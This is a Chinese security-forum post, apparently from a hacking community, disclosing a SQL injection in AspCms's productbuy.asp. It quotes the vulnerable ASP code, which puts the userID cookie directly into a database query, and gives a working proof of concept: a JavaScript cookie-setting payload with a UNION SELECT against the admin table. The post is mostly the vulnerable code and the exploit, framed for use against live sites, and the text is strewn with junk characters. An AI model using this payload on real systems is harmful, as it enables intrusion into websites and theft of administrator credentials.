好久没上土司了,上来一看发现在删号名单内.....( J# P6 M9 ~0 t
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。9 q. t1 n& r$ E' |( u
废话不多说,看代码:5 B! ]" j3 E) I
! ], V1 d. e9 R# k6 s5 o4 u<%
, O+ O1 O) g; f8 R. E3 R& Y2 y" {! j K6 R/ u
if action = "buy" then
$ n' c& i3 X8 U( m/ P0 F' Y" f7 Q; v( b
addOrder()
) W o- Q; V6 |3 c1 g. Y9 T
9 R% K& z$ }+ |0 @5 z7 S; Melse
' X+ q/ g# i+ N3 B# g+ {
9 f/ x" B, [3 w; G1 g echoContent()0 \; u% ]% a# D( s% D! Q. ?
$ ` N0 L+ F0 d
end if
6 A/ \: ?! ? u- F6 C0 c$ Z9 M' M2 a! `. L- f
! L" x; K9 F' W3 |: i: o# w
F. T% A$ P% A( ] ]& o……略过
" H& U8 \6 s( m
4 \; Y/ }* t2 J3 L1 U2 W3 d- g
: p' j( t8 o3 T7 WSub echoContent(). r! V% D6 D0 l6 E8 `
, w X. |3 f2 J) a dim id
4 e+ y$ `4 ]9 W3 {4 |' O9 d; Y7 G" c8 K4 p4 `1 w
id=getForm("id","get")7 \5 y% ~: ^4 Q& y) O
* a* F4 z( K/ V9 i
+ D+ A% O, `# I# ~( K
1 [! ]& }$ |- c if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 7 t& Q) W- Z2 K+ y2 d4 B1 u. s% s
" u6 H- C$ s0 e8 m( n2 R+ x 5 ^1 n- R% a: u2 `4 j4 F8 d
& i) Z6 Y m u' l
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")% V, P- c- l- X% x4 q
# h7 ~3 D `4 C* C: b/ O dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct7 h; }5 ]" e9 D
& A( L, O, n$ D: y$ T Dim templatePath,tempStr, F3 c8 f5 q+ t: H6 N; M
6 e! } m( D! J templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"* y: e3 \4 o: H: \
+ \4 _- e) @2 j! ~' b
- D9 _% \; N# N* L1 w( ]8 ~, ?# Z
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
4 q9 t4 t; S I( I$ d! s# W! J5 }0 H3 s1 o) g: y x
selectproduct=rsObj(0)
( ~/ h" w" y5 f6 D1 C5 c/ o) l, K: C' e2 G& a0 d
; Z8 O6 X7 M* w* F
' i2 E# o3 H; E Dim linkman,gender,phone,mobile,email,qq,address,postcode4 I+ p% @, s5 g u# \
. X2 M# N0 ]( A2 R6 b7 b
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",02 H5 O* ]: d+ J5 U& j
2 N% |; d p1 Z if rCookie("loginstatus")=1 then
I+ g; c$ Z( q \3 p/ c- I: }3 }. G4 Z, n
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")* T- I* ]6 o z! ^
* J% T+ a$ u: v# `
linkman=rsObj("truename")
! E6 g0 r. U# |1 U7 p+ C- N7 g% m) ?% A6 f& U* m8 ~/ |
gender=rsObj("gender")
, V! _ T A0 I2 i" T1 K g3 ~2 o/ z# P
phone=rsObj("phone")) ^7 H5 u" \/ W
* h4 J9 C. @3 b/ E. o% @ mobile=rsObj("mobile")+ x( l" {0 ^6 W/ v* ?; E& f, Z
; q% O* `% M. }9 K. y; V; j email=rsObj("email")) B# N- U9 v' G3 O7 ~+ }8 i) K
7 |& f( [) f+ C4 ^/ p* K) ?% @ qq=rsObj("qq")" g7 S0 {' X8 U0 v6 o
- v( g$ S. T9 h% x1 O- i' r
address=rsObj("address"); I8 Q' T2 ^6 v. J9 j6 e( i5 _
9 ]6 E6 b# F/ C Y7 y- g
postcode=rsObj("postcode")* D+ p" Q. P' \! J
1 k7 I& |8 H; A/ S: o
else 9 ]0 P! N A% W% F/ q
; i, K7 ]% k2 S1 U+ D; \6 i; O
gender=1* o ]( G) o T: g
' i( c, E, @6 O3 @& Z$ h end if
2 o( q- U n- Q: x7 E) h O: i
* E) t' O& R! ?- n rsObj.close()
% g& p3 S* P- z6 k0 V- V, s! n
3 I1 y6 a0 z$ d, ` % |1 h M5 c! c. K; J
. a- ]. A" U7 m with templateObj M/ ~7 P& n+ O4 [
. \. _+ q$ b3 |4 y v9 r# N .content=loadFile(templatePath) + T0 x( e0 e8 s# n" w K
: y9 j' t3 \! ^" R8 `# {7 Q .parseHtml()+ W& i- _5 e% K1 I8 G E9 M
4 ?, y7 b* s/ K k& f0 y4 `4 u3 L0 K
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)1 V1 T4 Y n, S8 Q
3 o0 X. V- X. o7 K7 [' ?% X .content=replaceStr(.content,"[aspcms:linkman]",linkman)
. G/ u% {: v! t7 t$ m: J8 N/ j
0 R& x" d. W! p3 X .content=replaceStr(.content,"[aspcms:gender]",gender) / F' ?5 _; F! z
" H- M/ J P* Q7 a1 P
.content=replaceStr(.content,"[aspcms:phone]",phone) 6 q" u0 A: r0 i" ]) ^6 X
+ s; h( J. R. K4 a* g; s% ~) j
.content=replaceStr(.content,"[aspcms:mobile]",mobile) 6 a* Q! `3 ?; }5 d& l1 W, H. k
6 g) j1 M/ [) @. Q .content=replaceStr(.content,"[aspcms:email]",email) : `! ]3 F. K% p f! M
. n) v) s( [1 e. g! }6 [ .content=replaceStr(.content,"[aspcms:qq]",qq) 1 K4 |' S9 h& i- {' M* G8 Y+ x
9 y# S, Y8 b. S; d* c& _+ E( K" J" f. S
.content=replaceStr(.content,"[aspcms:address]",address) ' w' K0 n F$ m8 `+ ]- B6 `
7 b0 @/ J( s- g1 @
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
9 N; ]1 D( z; t5 A2 D/ z3 s6 g5 w* g* Q5 Z g
.parseCommon()
9 T6 B, Y9 S/ F! q5 b
' B& U1 ^/ [# ^& Q2 M. | echo .content t9 T1 _7 ]( p4 Z& \0 j1 B
7 a# I% {# ^+ L. z) F* d
end with
/ B8 K6 R8 V* K" h
/ k" Z7 {1 _6 P7 h4 z set templateobj =nothing : terminateAllObjects
: a) S: N" j. f" }" |1 U7 R0 g
7 n* r& E8 u* m g; u# p' ~End Sub
* M8 z& O" r: P3 _* j' w5 h/ W3 W漏洞很明显,没啥好说的
! e5 L" W+ V5 ~- Y- f4 L3 k& }poc: q, g9 E" x' k) m4 H( u
' j; C- m7 \; j1 [& p0 Xjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子$ m q6 L% R" O9 l4 C
$ W9 B" G: y% ] |